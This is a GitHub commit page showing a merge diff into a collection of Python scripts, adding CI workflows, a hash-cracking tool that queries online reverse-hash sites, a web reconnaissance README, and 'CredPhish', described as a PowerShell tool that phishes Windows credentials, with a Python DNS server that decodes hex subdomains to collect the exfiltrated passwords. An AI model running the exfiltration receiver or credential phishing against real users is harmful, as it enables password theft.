Skip to content

Commit 14fa043

Browse files
Merge branch 'master' into rapidScan
2 parents f3b14ae + b55fb93 commit 14fa043

11 files changed

Lines changed: 391 additions & 7 deletions

File tree

.github/labeler-config.yml

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
filters:
2+
- label: "enhancement"
3+
regexs:
4+
- /\bfeat\b/
5+
- /feature/i
6+
events: [pull_request]
7+
targets: [title]
8+
9+
- label: "documentation"
10+
regexs:
11+
- /\bdocumentation\b/
12+
- /docs/i
13+
events: [pull_request]
14+
targets: [title]
15+
16+
- label: "bug"
17+
regexs:
18+
- /bug/i
19+
events: [pull_request]
20+
targets: [title]
21+
- label: "bug"
22+
regexs:
23+
- /fix/i
24+
events: [pull_request]
25+
targets: [title]
26+
27+
- label: "chore"
28+
regexs:
29+
- /chore/i
30+
events: [pull_request]
31+
targets: [title]
32+
33+
- label: "goal: build"
34+
regexs:
35+
- /build/i
36+
events: [pull_request]
37+
targets: [title]
38+
39+
- label: "goal: refactor"
40+
regexs:
41+
- /\brefactor\b/
42+
- /refactor/i
43+
events: [pull_request]
44+
targets: [title]
45+
46+
- label: "accessibility"
47+
regexs:
48+
- /\baccessibility\b/
49+
- /accessibility/i
50+
events: [pull_request] # default -> [issues, pull_request]
51+
targets: [title] # default -> [title, comment]
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# reference: https://github.com/hoho4190/issue-pr-labeler
2+
name: PR Labeler
3+
4+
on:
5+
pull_request_target:
6+
types:
7+
- opened
8+
- reopened
9+
10+
jobs:
11+
main:
12+
runs-on: ubuntu-latest
13+
14+
permissions:
15+
contents: read # to read configuration yml file
16+
pull-requests: write # to add labels to pull requests
17+
18+
steps:
19+
- name: Run PR Labeler
20+
uses: hoho4190/issue-pr-labeler@v1
21+
with:
22+
token: ${{ secrets.GITHUB_TOKEN }}
23+
config-file-name: labeler-config.yml
24+
# disable-bot: true # this will prevent issues, PRs created by bots

.github/workflows/black.yml

Lines changed: 21 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,30 @@
1-
name: Linting with black
1+
name: Linting with Black
22

3-
on: [push, pull_request]
3+
on:
4+
push:
5+
branches:
6+
- master
7+
pull_request: # Trigger on pull requests as well
8+
branches:
9+
- master
410

511
jobs:
6-
712
black-linting:
8-
913
runs-on: ubuntu-latest
1014

1115
steps:
16+
- name: Checkout Repository
17+
uses: actions/checkout@v3
18+
19+
- name: Set up Python
20+
uses: actions/setup-python@v3
21+
with:
22+
python-version: 3.8
1223

13-
- uses: actions/checkout@v3
24+
- name: Install Dependencies
25+
run: |
26+
python -m pip install --upgrade pip
27+
pip install black
1428
15-
- uses: psf/black@stable
29+
- name: Run Black
30+
run: black . --check --diff

CredPhish/Readme.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
# CredPhish
2+
3+
CredPhish is a PowerShell script designed to invoke credential prompts and exfiltrate passwords. It relies on CredentialPicker to collect user passwords, Resolve-DnsName for DNS exfiltration, and Windows Defender's ConfigSecurityPolicy.exe to perform arbitrary GET requests.
4+

CredPhish/dns_server.py

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
2+
from twisted.internet import defer, reactor
3+
from twisted.names import server, error, client, dns
4+
5+
# listening port
6+
udp_port = 53
7+
8+
resolv_conf = '/etc/resolv.conf'
9+
10+
exfil_data = []
11+
12+
class DecodeSubdomain:
13+
"""
14+
decode subdomain and update query.name before resolving
15+
"""
16+
def query(self, query, timeout=None):
17+
# seperate subdomain from domain and convert to string array
18+
query_name = str(query.name).split('.', 1)
19+
20+
# decode subdomain hex value(s)
21+
decoded_hex = bytes.fromhex(query_name[0]).decode('utf-8')
22+
23+
# append decoded value to array
24+
exfil_data.append(decoded_hex)
25+
26+
# update query.name to exclude subdomain before resolving A record
27+
query.name.name = str.encode(query_name[1])
28+
29+
# print with fancy formatting
30+
print('\033[32m{:>6}\033[0m : {}'.format(decoded_hex, '.'.join(query_name)))
31+
32+
return defer.fail(error.DomainError())
33+
34+
def main():
35+
factory = server.DNSServerFactory(
36+
clients=[DecodeSubdomain(), client.Resolver(resolv=resolv_conf)]
37+
)
38+
reactor.listenUDP(udp_port, dns.DNSDatagramProtocol(controller=factory))
39+
reactor.run()
40+
41+
print("\n\n", ''.join(exfil_data))
42+
43+
if __name__ == '__main__':
44+
raise SystemExit(main())

Hash Buster/README.md

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
# HASH BUSTER
2+
3+
This Python script is designed for hash cracking, allowing users to crack hashed passwords or strings using various online APIs. The script offers an optimized and extensible approach to hash cracking and includes features such as concurrent processing, caching, and support for multiple hash algorithms.
4+
5+
## Features
6+
7+
- Crack single hashes, hashes from a file, or hashes from files in a directory.
8+
- Support for common hash algorithms: MD5, SHA-1, SHA-256, SHA-384, SHA-512.
9+
- Multi-threaded processing for faster cracking.
10+
- Caching mechanism to store and retrieve previously cracked hashes.
11+
- Display of progress using a percentage indicator.
12+
- Placeholder for dictionary-based attacks (disabled by default).
13+
- Customizable color-coded terminal output.
14+
15+
## Prerequisites
16+
17+
- Python 3.x
18+
- Required Python libraries: `re`, `os`, `requests`, `argparse`, `concurrent.futures`
19+
20+
## Usage
21+
22+
1. Clone or download this repository to your local machine.
23+
24+
2. Open a terminal and navigate to the directory containing the script.
25+
26+
3. Run the script using the following command-line options:
27+
28+
- `-s` followed by a single hash to crack that hash.
29+
- `-f` followed by a path to a file containing multiple hashes to crack.
30+
- `-d` followed by a path to a directory containing files with hashes to crack.
31+
- `-t` followed by the desired number of threads (default is 4).

Hash Buster/buster.py

Lines changed: 163 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,163 @@
1+
#!/usr/bin/env python3
2+
3+
import re
4+
import os
5+
import requests
6+
import argparse
7+
import concurrent.futures
8+
from hashlib import algorithms_available
9+
10+
parser = argparse.ArgumentParser()
11+
parser.add_argument('-s', help='hash', dest='hash')
12+
parser.add_argument('-f', help='file containing hashes', dest='file')
13+
parser.add_argument('-d', help='directory containing hashes', dest='dir')
14+
parser.add_argument('-t', help='number of threads', dest='threads', type=int, default=4)
15+
parser.add_argument('--wordlist', help='dictionary file for dictionary-based attacks', dest='wordlist')
16+
args = parser.parse_args()
17+
18+
# Colors and other text formatting codes (you can customize them as you like)
19+
END = '\033[0m'
20+
RED = '\033[91m'
21+
GREEN = '\033[92m'
22+
WHITE = '\033[97m'
23+
DGREEN = '\033[32m'
24+
YELLOW = '\033[93m'
25+
BACK = '\033[7;91m'
26+
RUN = '\033[97m[~]\033[0m'
27+
QUE = '\033[94m[?]\033[0m'
28+
BAD = '\033[91m[-]\033[0m'
29+
INFO = '\033[93m[!]\033[0m'
30+
GOOD = '\033[92m[+]\033[0m'
31+
32+
cwd = os.getcwd()
33+
directory = args.dir
34+
file = args.file
35+
thread_count = args.threads
36+
37+
# Check for valid hashing algorithms available on the system
38+
valid_algorithms = set(algorithms_available)
39+
hash_algorithms = ['md5', 'sha1', 'sha256', 'sha384', 'sha512']
40+
hash_algorithms = [alg for alg in hash_algorithms if alg in valid_algorithms]
41+
42+
# The list of APIs to be used for cracking each hash type (you can add more APIs)
43+
hash_cracking_apis = {
44+
'md5': [
45+
'https://hashtoolkit.com/reverse-hash/?hash=',
46+
'https://www.nitrxgen.net/md5db/',
47+
],
48+
'sha1': [
49+
'https://hashtoolkit.com/reverse-sha1-hash/?hash=',
50+
],
51+
'sha256': [
52+
'https://hashtoolkit.com/reverse-sha256-hash/?hash=',
53+
],
54+
'sha384': [
55+
'https://hashtoolkit.com/reverse-sha384-hash/?hash=',
56+
],
57+
'sha512': [
58+
'https://hashtoolkit.com/reverse-sha512-hash/?hash=',
59+
],
60+
}
61+
62+
# Dictionary to store previously cracked hashes
63+
hash_cache = {}
64+
65+
# Function to perform hash cracking using online APIs
66+
def crack_hash_online(hash_value, algorithm):
67+
if hash_value in hash_cache:
68+
return hash_cache[hash_value]
69+
70+
if algorithm not in hash_cracking_apis:
71+
return False
72+
73+
for api_url in hash_cracking_apis[algorithm]:
74+
try:
75+
response = requests.get(api_url + hash_value).text
76+
if response and 'error' not in response.lower():
77+
result = re.findall(r'<em>(.*?)</em>', response)
78+
if result:
79+
cracked_hash = result[0]
80+
hash_cache[hash_value] = cracked_hash
81+
return cracked_hash
82+
except requests.RequestException:
83+
continue
84+
85+
return False
86+
87+
# Function to perform dictionary-based hash cracking (optional)
88+
def crack_hash_dictionary(hash_value, algorithm, wordlist):
89+
if not wordlist:
90+
return False
91+
92+
# Implement dictionary-based hash cracking here (use the wordlist)
93+
# Return the cracked hash if successful, or False if not cracked
94+
return False
95+
96+
# Function to crack a single hash
97+
def crack_single_hash(hash_value):
98+
for algorithm in hash_algorithms:
99+
if len(hash_value) == len(algorithm) * 4:
100+
if algorithm in hash_cracking_apis:
101+
result = crack_hash_online(hash_value, algorithm)
102+
if result:
103+
return algorithm, result
104+
105+
# Uncomment the line below to enable dictionary-based cracking (optional)
106+
# result = crack_hash_dictionary(hash_value, algorithm, args.wordlist)
107+
# if result:
108+
# return algorithm, result
109+
110+
return None, None
111+
112+
# Function to display progress during hash cracking
113+
def display_progress(total_hashes, cracked_hashes):
114+
progress = cracked_hashes / total_hashes * 100
115+
print(f"{INFO} Progress: {cracked_hashes}/{total_hashes} hashes cracked ({progress:.2f}%)", end='\r')
116+
117+
# Main function for hash cracking from file
118+
def crack_from_file(file_path):
119+
with open(file_path, 'r') as f:
120+
hashes = re.findall(r'[a-f0-9]{32,}', f.read())
121+
122+
total_hashes = len(hashes)
123+
cracked_hashes = 0
124+
125+
with concurrent.futures.ThreadPoolExecutor(max_workers=thread_count) as executor:
126+
futures = {executor.submit(crack_single_hash, hash_value): hash_value for hash_value in hashes}
127+
128+
for future in concurrent.futures.as_completed(futures):
129+
hash_value = futures[future]
130+
algorithm, result = future.result()
131+
132+
if result:
133+
print(f"{hash_value} : {algorithm.upper()} - {result}")
134+
cracked_hashes += 1
135+
display_progress(total_hashes, cracked_hashes)
136+
137+
print(f"{INFO} Finished! Cracked {cracked_hashes} out of {total_hashes} hashes.")
138+
139+
# Main function for hash cracking from directory
140+
def crack_from_directory(directory_path):
141+
# Implement searching and cracking hashes from files in the directory
142+
# You can use regular expressions or other methods to find hash patterns in files
143+
pass
144+
145+
# Main function to crack a single hash
146+
def crack_single_hash_command(hash_value):
147+
algorithm, result = crack_single_hash(hash_value)
148+
if result:
149+
print(f"{hash_value} : {algorithm.upper()} - {result}")
150+
else:
151+
print(f"{BAD} Hash was not found in any database.")
152+
153+
# Main program flow
154+
if __name__ == "__main__":
155+
if directory:
156+
crack_from_directory(directory)
157+
elif file:
158+
crack_from_file(file)
159+
elif args.hash:
160+
crack_single_hash_command(args.hash)
161+
else:
162+
print(f"{BAD} Please provide either a hash, a file containing hashes, or a directory containing hashes.")
163+
parser.print_help()

Hash Buster/requirements.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
requests>=2.26.0

SCRIPTS.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -95,4 +95,6 @@
9595
| 61\. | Instagram Automation | This python script will automate your instagram account just enter your username and password of your account, then enjoy the program ! | [Take me](./Instagram-Automation)
9696
| 62\. | Skype Automation | This python script will automate skype account by taking your username and password of your account, this will automate will your program ! | [Take me](./Skype-Automation)
9797
| 63\. | Text Decrypter | This python script will decrypt your encrypted text of different cipher techniques (4 techniques) | [Take me](./textdecrypter)
98-
| 64\. | RapidScan | The Multi-Tool Web Vulnerability Scanner | [Take me](./RapidScan)
98+
| 64\. | RapidScan | The Multi-Tool Web Vulnerability Scanner | [Take me](./RapidScan)
99+
| 64\. | CredPhish | CredPhish is a PowerShell script designed to invoke credential prompts and exfiltrate passwords. | [Take me](./CredPhish)
100+
| 64\. | WebStor | This script is designed to perform reconnaissance and vulnerability assessment across websites within an organization's networks | [Take me](./WebStor)

WebStor/Readme.md

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# Web Reconnaissance and Vulnerability Assessment Script
2+
3+
## Overview
4+
5+
This script is designed to perform reconnaissance and vulnerability assessment across websites within an organization's networks. It aims to identify active websites, gather information about their technologies, and check for known vulnerabilities. This script is intended for educational and responsible use within authorized environments.
6+
7+
## Features
8+
9+
- Network scanning to identify active hosts
10+
- Web crawling to discover accessible pages
11+
- Fingerprinting of web technologies (server headers, JavaScript libraries, etc.)
12+
- Matching identified technologies with vulnerability databases
13+
14+

0 commit comments

Comments
 (0)